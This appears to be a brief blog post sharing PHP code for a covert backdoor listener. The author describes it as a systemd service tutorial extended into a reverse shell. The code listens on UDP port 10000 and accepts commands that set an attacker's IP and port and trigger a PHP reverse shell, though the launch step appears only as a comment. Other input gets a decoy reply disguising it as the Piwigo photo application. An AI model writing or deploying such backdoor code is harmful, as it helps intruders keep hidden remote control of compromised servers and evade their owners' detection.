Found the following site demonstrating how to create a linux service with systemd and then extended it for a reverse shell.
# Credit for the idea # https://medium.com/@benmorel/creating-a-linux-service-with-systemd-611b5c8b91d6 $sock = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP); socket_bind($sock, '0.0.0.0', 10000); $setIP = ""; for (;;) { socket_recvfrom($sock, $message, 1024, 0, $ip, $port); if (strpos($message, "ip") !== false) { $setIP = substr($message, 3, -1); $reply = $setIP . "\n"; } elseif (strpos($message, "port") !== false) { $setPort = substr($message, 5, -1); $reply = $setPort . "\n"; } elseif ((strpos($message, "status") !== false) && (strlen($setIP) > 0) && (strlen($setPort) > 1)) { $reply = "IP: $setIP Port: $setPort\n"; } elseif ((strpos($message, "execute") !== false) && (strlen($setIP) > 0) && (strlen($setPort) > 1)) { # Launches a php-reverseshell... $reply = "IP: $setIP Port: $setPort\n"; } else { $reply = "Piwigo is working as expected!"; } socket_sendto($sock, $reply, strlen($reply), 0, $ip, $port); }
No comments:
Post a Comment